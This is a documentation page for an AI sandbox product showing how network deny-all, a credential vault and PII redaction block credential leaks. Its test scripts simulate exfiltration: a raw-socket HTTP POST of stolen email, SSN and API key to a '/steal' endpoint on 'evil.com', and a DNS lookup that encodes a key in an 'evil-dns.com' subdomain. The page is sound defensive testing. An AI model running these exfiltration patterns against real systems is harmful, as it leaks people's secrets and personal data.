> ## Documentation Index
> Fetch the complete documentation index at: https://docs.declaw.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# Credential Leak Prevention

> Prevent credential exfiltration with network deny-all and the credential vault, and redact structured PII (email, SSN, cards) from outbound traffic. Demonstrates TCP, HTTP, and DNS exfiltration blocking.

## What You'll Learn

* Why network deny-all (and the credential vault) — not PII redaction — is what stops API-key exfiltration
* How to configure `PIIConfig` to redact structured PII (email, SSN, credit card) from outbound HTTP
* How to test TCP blocking, HTTP exfiltration, and DNS exfiltration
* How the edge proxy redacts structured PII from HTTP request bodies before forwarding

## Prerequisites

* Declaw running locally or in the cloud (see [Deployment](/deployment/overview))
* `DECLAW_API_KEY` and `DECLAW_DOMAIN` set in your environment

<Note>
  This example is available in Python. TypeScript support coming soon.
</Note>

## Security Configuration

The example uses two independent layers of protection:

```python theme={null}
from declaw import Sandbox, SecurityPolicy, PIIConfig

policy = SecurityPolicy(
    pii=PIIConfig(
        enabled=True,
        types=["email", "ssn", "credit_card"],
        action="redact",
    ),
)

sbx = Sandbox.create(
    template="python",
    timeout=300,
    security=policy,
    allow_internet_access=False,  # Layer 2: deny all outbound
)
```

**Layer 1 — PII redaction:** Intercepts outbound HTTP traffic and replaces detected **structured PII** (email, SSN, credit card) with placeholders like `[REDACTED_EMAIL]`. Note: API keys aren't reliably redacted here — there's no working `api_key` detector. To keep a key out of the sandbox entirely, use the [Credential Vault](/security/credential-vault), which injects it at the egress proxy so it never enters the VM. Active even if the network allow-list permits some outbound traffic.

**Layer 2 — Network deny-all:** Blocks all outbound TCP connections. This is the layer that actually stops a stolen secret from leaving — even data the PII scanner doesn't recognize (like an API key) cannot reach any destination.

## PII Types Explained

| Type          | Pattern                     | Example                 |
| ------------- | --------------------------- | ----------------------- |
| `email`       | `user@domain.com` patterns  | `john.doe@megacorp.com` |
| `ssn`         | NNN-NN-NNNN format          | `123-45-6789`           |
| `credit_card` | Common formats + Luhn check | `4111-1111-1111-1111`   |

## Code Walkthrough

### 1. The credential collection script

This script represents untrusted code that has access to credentials and PII:

```python theme={null}
CREDENTIAL_SCRIPT = """\
import json

credentials = {
    "database": {
        "host": "db.internal.company.com",
        "user": "admin",
        "password": "SuperSecret123!",
    },
    "api_keys": {
        "openai": "sk-proj-abc123def456ghi789jkl012mno345pqr678",
        "aws_access_key": "AKIAIOSFODNN7EXAMPLE",
    },
    "user_data": {
        "email": "john.doe@megacorp.com",
        "ssn": "123-45-6789",
        "credit_card": "4111-1111-1111-1111",
    },
}

print(json.dumps(credentials, indent=2))
print("Attempting to exfiltrate via network...")
"""
```

### 2. Three exfiltration attack vectors

The example tests three distinct exfiltration methods:

**TCP connectivity (basic):**

```python theme={null}
NET_TEST_SCRIPT = """\
import socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("1.1.1.1", 80))
    print("CONNECTED")
except Exception as e:
    print(f"BLOCKED: {e}")
"""
```

**HTTP exfiltration (simulated):**

```python theme={null}
EXFIL_SCRIPT = """\
import socket, json

stolen = json.dumps({
    "email": "john.doe@megacorp.com",
    "ssn": "123-45-6789",
    "api_key": "sk-proj-abc123def456ghi789jkl012mno345pqr678",
})
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("93.184.216.34", 80))
    req = (
        f"POST /steal HTTP/1.1\\r\\nHost: evil.com\\r\\n"
        f"Content-Length: {len(stolen)}\\r\\n\\r\\n{stolen}"
    )
    s.sendall(req.encode())
    print("EXFILTRATED")
except Exception as e:
    print(f"BLOCKED: {e}")
"""
```

**DNS exfiltration (encoding data in DNS queries):**

```python theme={null}
DNS_EXFIL_SCRIPT = """\
import socket
try:
    # Attempt DNS lookup encoding stolen data as a subdomain
    result = socket.getaddrinfo("sk-proj-abc123.evil-dns.com", 80)
    print(f"DNS_RESOLVED: {result[0][4]}")
except Exception as e:
    print(f"DNS_BLOCKED: {e}")
"""
```

### 3. Run all tests

```python theme={null}
try:
    sbx.files.write("/tmp/collect_creds.py", CREDENTIAL_SCRIPT)
    sbx.commands.run("python3 /tmp/collect_creds.py")

    for script_name, script in [
        ("net_test.py", NET_TEST_SCRIPT),
        ("exfil_test.py", EXFIL_SCRIPT),
        ("dns_exfil.py", DNS_EXFIL_SCRIPT),
    ]:
        sbx.files.write(f"/tmp/{script_name}", script)
        result = sbx.commands.run(f"python3 /tmp/{script_name}", timeout=15)
        print(f"{script_name}: {result.stdout.strip()}")
finally:
    sbx.kill()
```

## Expected Output

```
--- Security Configuration ---
PII Redaction Policy:
  enabled:  True
  types:    ['email', 'ssn', 'credit_card']
  action:   redact

Network Policy:
  allow_internet_access: False (deny all outbound)

--- Running Credential Collection Script ---
{
  "database": {"host": "db.internal.company.com", "user": "admin", ...},
  "api_keys": {"openai": "sk-proj-abc123..."},
  "user_data": {"email": "john.doe@megacorp.com", "ssn": "123-45-6789", ...}
}

--- Exfiltration Attempts ---
Test 1: TCP connectivity to 1.1.1.1:80
  Output: BLOCKED: [Errno 110] Connection timed out
  [PASS] Outbound TCP blocked.

Test 2: HTTP exfiltration of stolen credentials
  Output: BLOCKED: [Errno 110] Connection timed out
  [PASS] HTTP exfiltration blocked.

Test 3: DNS exfiltration (encoding data in DNS queries)
  Output: DNS_BLOCKED: [Errno -3] Temporary failure in name resolution
  [PASS] DNS exfiltration blocked.
```

## How PII Redaction Works (edge proxy)

When the guardrails service is active and network access is permitted (for example, to call an LLM API), the proxy intercepts and redacts credentials from HTTP traffic:

```
[Sandbox] --HTTP/HTTPS--> [Declaw Proxy] ---> [Internet]
                               │
                         PII Scanner
                         inspects all
                         request bodies

BEFORE: {"email": "john.doe@megacorp.com", "ssn": "123-45-6789"}
AFTER:  {"email": "[REDACTED_EMAIL]", "ssn": "[REDACTED_SSN]"}
```

This means even if you allow outbound traffic to specific domains (for example, `api.openai.com`), structured PII is stripped from outbound request bodies before they leave the sandbox. API keys and other secrets are **not** covered here — use the [Credential Vault](/security/credential-vault) so a key is injected at the proxy and never enters the sandbox in the first place.

## Defense Layers Combined

```
Layer 1: sandbox isolation
  The sandbox has its own filesystem. Host credentials are never accessible.

Layer 2: network deny-all (or a tight allowlist)
  No outbound TCP/UDP to unapproved destinations — the TCP, HTTP, and DNS
  exfiltration attempts above all fail here. This is the layer that actually
  stops a stolen API key from leaving.

Layer 3: credential vault + PII redaction
  Keep secrets out of the VM with the vault (injected at the egress proxy,
  never delivered to the sandbox), and redact structured PII (email, SSN,
  credit card) from any allowed outbound traffic.
```

For maximum protection, combine all three. Network deny-all (or an allowlist) is what stops credential exfiltration; the credential vault keeps keys out of the VM entirely; PII redaction strips structured PII from allowed traffic.
